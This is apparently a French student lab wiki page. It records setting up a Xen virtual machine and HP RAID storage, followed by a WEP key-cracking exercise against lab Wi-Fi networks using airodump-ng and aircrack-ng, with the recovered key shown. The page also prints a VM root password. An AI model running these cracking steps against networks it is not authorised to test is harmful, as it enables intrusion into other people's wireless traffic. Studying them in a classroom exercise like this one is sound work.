Cahier 2016 groupe n°3

De Wiki de Projets IMA
Révision datée du 7 novembre 2016 à 11:10 par Nrichez (discussion | contributions) (Gestion du serveur DAS)

Gestion de la machine virtuelle

Installation de la machine virtuelle avec Xen

Pour créé la machine virtuelle, on utilise xen-create-image avec les paramètres souhaités :

xen-create-image --hostname=Deadpool --ip=193.48.57.163 --netmask=255.255.255.240 --gateway=193.48.57.171 --dir=/usr/local/xen
     --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --password=********


Puis, on récupère les informations suivantes afin de vérifier diverses paramètres :

General Information
--------------------
Hostname       :  Deadpool
Distribution   :  jessie
Mirror         :  http://debian.polytech-lille.fr/debian/
Partitions     :  swap            128M  (swap)
                  /               4G    (ext3)
Image type     :  sparse
Memory size    :  128M
Kernel path    :  /boot/vmlinuz-3.14-2-amd64
Initrd path    :  /boot/initrd.img-3.14-2-amd64

Networking Information
----------------------
IP Address 1   : 193.48.57.163 [MAC: 00:16:3E:FF:6F:DC]
Netmask        : 255.255.255.240
Gateway        : 193.48.57.171


Creating partition image: /usr/local/xen/domains/Deadpool/swap.img
Done

Creating swap on /usr/local/xen/domains/Deadpool/swap.img
Done

Creating partition image: /usr/local/xen/domains/Deadpool/disk.img
Done

Creating ext3 filesystem on /usr/local/xen/domains/Deadpool/disk.img

(...)

Logfile produced at:
	 /var/log/xen-tools/Deadpool.log

Installation Summary
---------------------
Hostname        :  Deadpool
Distribution    :  jessie
MAC Address     :  00:16:3E:FF:6F:DC
IP Address(es)  :  193.48.57.163 
RSA Fingerprint :  d0:38:7b:89:c7:72:e7:52:d9:b7:5c:5b:ab:3e:fe:3f
Root Password   :  hZsEGmZX

Configuration de la machine virtuelle

On utilise lvcreate pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l'hôte :

lvcreate -L 10G -n /dev/virtual/ima5-Deadpool-home -v
lvcreate -L 10G -n /dev/virtual/ima5-Deadpool-var -v


Pour démarrer la machine virtuelle et accéder directement à celle ci via console on utilise la commande suivante :

xl console Deadpool

Gestion du serveur DAS

Site IBM [1]

Site Hp [2], Maintenance et service G5.

Site Hp [3], Datasheet G5

Site Hp, [4], Datasheet MSA60

Site Hp, [5], Datasheet en Français

Installation des outils HP

Source : http://wiki.csnu.org/index.php/Installation_des_outils_HP_pour_debian

Ajout du dépôt dans /etc/apt/sources.net :

deb http://downloads.linux.hpe.com/SDR/repo/mcp/ jessie/current non-free

Copier / Coller le contenu des clés et les ajouter, liens des clés disponibles à ces adresses :

http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub
http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub
http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub

Ajout des clefs :

apt-key add ./hpPublicKey1024.pub
apt-key add ./hpPublicKey2048.pub
apt-key add ./hpPublicKey2048_key1.pub

On met à jour les paquets et on installe l'utilitaire HP hpssacli :

aptitude update
aptitude install hp-health hpssacli

Commandes disponibles pour hpssacli : https://oitibs.com/hp-acu-command-line-reference/

Configuration des disques

Après avoir installé l'utilitaire HP pour gérer nos disques, nous pouvons enfin savoir les caractéristiques des baies :

hpssacli ctrl all show config


On obtient alors :

Smart Array P800 in Slot 4                (sn: P98690E9SV10C3)


   Port Name: 1I

   Port Name: 2I

   Port Name: 1E

   Port Name: 2E

   Internal Drive Cage at Port 3I, Box 1, OK

   Internal Drive Cage at Port 4I, Box 1, OK

   StorageWorks MSA 60 at Port 1E, Box 1, OK
   array A (SAS, Unused Space: 0  MB)


      logicaldrive 1 (820.2 GB, RAID 5, OK)

      physicaldrive 3I:1:1 (port 3I:box 1:bay 1, SAS, 146 GB, OK)
      physicaldrive 3I:1:2 (port 3I:box 1:bay 2, SAS, 146 GB, OK)
      physicaldrive 3I:1:3 (port 3I:box 1:bay 3, SAS, 146 GB, OK)
      physicaldrive 3I:1:4 (port 3I:box 1:bay 4, SAS, 146 GB, OK)
      physicaldrive 4I:1:5 (port 4I:box 1:bay 5, SAS, 146 GB, OK)
      physicaldrive 4I:1:6 (port 4I:box 1:bay 6, SAS, 146 GB, OK)
      physicaldrive 4I:1:8 (port 4I:box 1:bay 8, SAS, 146 GB, OK)
      physicaldrive 4I:1:7 (port 4I:box 1:bay 7, SAS, 146 GB, OK, spare)

   array B (SATA, Unused Space: 0  MB)


      logicaldrive 2 (1.9 TB, RAID 5, Recovering, 0% complete)
      logicaldrive 3 (1.9 TB, RAID 5, Ready for Rebuild)
      logicaldrive 4 (751.2 GB, RAID 5, Ready for Rebuild)

      physicaldrive 1E:1:1 (port 1E:box 1:bay 1, SATA, 1 TB, OK)
      physicaldrive 1E:1:2 (port 1E:box 1:bay 2, SATA, 1 TB, OK)
      physicaldrive 1E:1:4 (port 1E:box 1:bay 4, SATA, 1 TB, OK)
      physicaldrive 1E:1:5 (port 1E:box 1:bay 5, SATA, 1 TB, OK)
      physicaldrive 1E:1:6 (port 1E:box 1:bay 6, SATA, 1 TB, OK)
      physicaldrive 1E:1:11 (port 1E:box 1:bay 11, SATA, 1 TB, Rebuilding)
      physicaldrive 1E:1:3 (port 1E:box 1:bay 3, SATA, 1 TB, OK, spare)

   array C (SATA, Unused Space: 0  MB)


      logicaldrive 5 (1.9 TB, RAID 5, OK)
      logicaldrive 6 (1.7 TB, RAID 5, OK)

      physicaldrive 1E:1:7 (port 1E:box 1:bay 7, SATA, 1 TB, OK)
      physicaldrive 1E:1:8 (port 1E:box 1:bay 8, SATA, 1 TB, OK)
      physicaldrive 1E:1:9 (port 1E:box 1:bay 9, SATA, 1 TB, OK)
      physicaldrive 1E:1:10 (port 1E:box 1:bay 10, SATA, 1 TB, OK)
      physicaldrive 1E:1:12 (port 1E:box 1:bay 12, SATA, 1 TB, OK)
      physicaldrive 1E:1:3 (port 1E:box 1:bay 3, SATA, 1 TB, OK, spare)


Nous avons supprimé (et formaté) tous les disques logiques liés aux disques physiques du StorageWorks MSA 60

hpssacli ctrl slot=4 ld 6 delete
hpssacli ctrl slot=4 ld 5 delete
...
hpssacli ctrl slot=4 ld 2 delete


Puis créé un disque logique en RAID 10 avec tous les disques physiques du MSA60 qui sera notre disque réservé pour la sauvegarde des VM

hpssacli ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=1+0


Enfin, on s'assure que le disque logique a correctement été généré

 array B (SATA, Unused Space: 0  MB)


      logicaldrive 2 (5.5 TB, RAID 1+0, OK)

      physicaldrive 1E:1:1 (port 1E:box 1:bay 1, SATA, 1 TB, OK)
      physicaldrive 1E:1:2 (port 1E:box 1:bay 2, SATA, 1 TB, OK)
      physicaldrive 1E:1:3 (port 1E:box 1:bay 3, SATA, 1 TB, OK)
      physicaldrive 1E:1:4 (port 1E:box 1:bay 4, SATA, 1 TB, OK)
      physicaldrive 1E:1:5 (port 1E:box 1:bay 5, SATA, 1 TB, OK)
      physicaldrive 1E:1:6 (port 1E:box 1:bay 6, SATA, 1 TB, OK)
      physicaldrive 1E:1:7 (port 1E:box 1:bay 7, SATA, 1 TB, OK)
      physicaldrive 1E:1:8 (port 1E:box 1:bay 8, SATA, 1 TB, OK)
      physicaldrive 1E:1:9 (port 1E:box 1:bay 9, SATA, 1 TB, OK)
      physicaldrive 1E:1:10 (port 1E:box 1:bay 10, SATA, 1 TB, OK)
      physicaldrive 1E:1:11 (port 1E:box 1:bay 11, SATA, 1 TB, OK)
      physicaldrive 1E:1:12 (port 1E:box 1:bay 12, SATA, 1 TB, OK)

Montage du disque sur le serveur Debian

Tests d'intrusion

Cassage de clef WEP

Via airodump-ng, on liste les réseaux wi-fi protégés par WEP :

airodump-ng --encrypt wep wlx40a5ef01370a

wlx40a5ef01370a représente ici notre interface réseau (équivalant à wlan0 par exemple)


On obtient la liste des réseaux wi-fi suivante :

[ CH  5 ][ Elapsed: 2 mins ][ 2016-11-07 10:30 ][ WPA handshake: 04:DA:D2:CF:01:93 ]                    
                                                                                                      
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                      
 44:AD:D9:5F:87:00  -50       73        0    0  11  54e. WEP  WEP         Wolverine                   
 04:DA:D2:9C:50:51  -64       90        0    0  13  54e. WEP  WEP         cracotte02                  
 04:DA:D2:9C:50:53  -67       58        0    0  13  54e. WEP  WEP         cracotte04                  
 04:DA:D2:9C:50:59  -68       85        0    0  13  54e. WEP  WEP         cracotte10                  
 04:DA:D2:9C:50:56  -74       88     1329   17  13  54e. WEP  WEP         cracotte07                  
 04:DA:D2:9C:50:52  -75       87     2279   14  13  54e. WEP  WEP         cracotte03                  
 04:DA:D2:9C:50:58  -75       87     1751   14  13  54e. WEP  WEP         cracotte09                  
 04:DA:D2:9C:50:57  -75       86     1293    7  13  54e. WEP  WEP         cracotte08                  
 04:DA:D2:9C:50:54  -76       88     1460   15  13  54e. WEP  WEP         cracotte05                  
 04:DA:D2:9C:50:50  -76       80     1345   11  13  54e. WEP  WEP         cracotte01                  
 04:DA:D2:9C:50:55  -76       83     1501   10  13  54e. WEP  WEP         cracotte06                  
 00:3A:7D:12:DC:F2   -1        0        0    0   6  -1                    <length:  0>                


On lance le monitoring sur le réseau que l'on souhaite cracker :

airodump-ng --essid cracotte07 --channel 13 -w testcrack wlx40a5ef01370a
[ CH 13 ][ Elapsed: 1 min ][ 2016-11-07 10:46 ]                                   
                                                                                                      
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                      
 04:DA:D2:9C:50:56  -72  12      608     8283   91  13  54e. WEP  WEP         cracotte07


Nous pouvons ensuite lancer le crackage à l'aide de aircrack-ng :

aircrack-ng testcarck-03.cap
                       Aircrack-ng 1.2 beta3


                 [00:00:00] Tested 84483 keys (got 35490 IVs)

   KB    depth   byte(vote)
    0    0/  5   EE(46080) EF(44032) 53(43008) 7B(43008) FC(43008) 
    1    3/ 15   EE(41984) 8D(41728) DD(41472) 16(41216) 28(41216) 
    2    0/  2   EE(47616) 29(45824) C9(43776) 27(43264) 42(43008) 
    3    0/ 10   EE(44800) A9(44288) 15(43264) C5(42496) 2C(42496) 
    4    0/  1   EE(49920) 2A(45312) 9D(43520) DA(43008) FD(41216) 
    5    0/  4   EE(45312) A1(43520) C6(42240) E8(42240) 76(41472) 
    6    0/  1   EE(50944) 98(42496) BB(42496) 4C(41728) B3(41728) 
    7    0/  1   EE(54272) D3(42752) 19(42240) 08(41984) 58(41984) 
    8    5/  8   F4(41216) 39(40960) 5E(40960) D7(40960) 1E(40704) 
    9    1/  2   E4(45312) 51(43264) A7(42752) 5F(41984) CA(41728) 
   10    0/  1   44(51200) 12(43264) CD(41984) 9C(41216) E5(41216) 
   11    0/  1   44(50176) B0(42240) D2(41728) DC(41728) 62(41472) 
   12    0/  1   44(47872) 0B(44032) B4(42752) D9(42496) 43(41728) 

             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:E4:44:44:44 ] 
	Decrypted correctly: 100%

La clé est décrypté en quelques secondes !

Cassage de clef WPA-PSK par force brute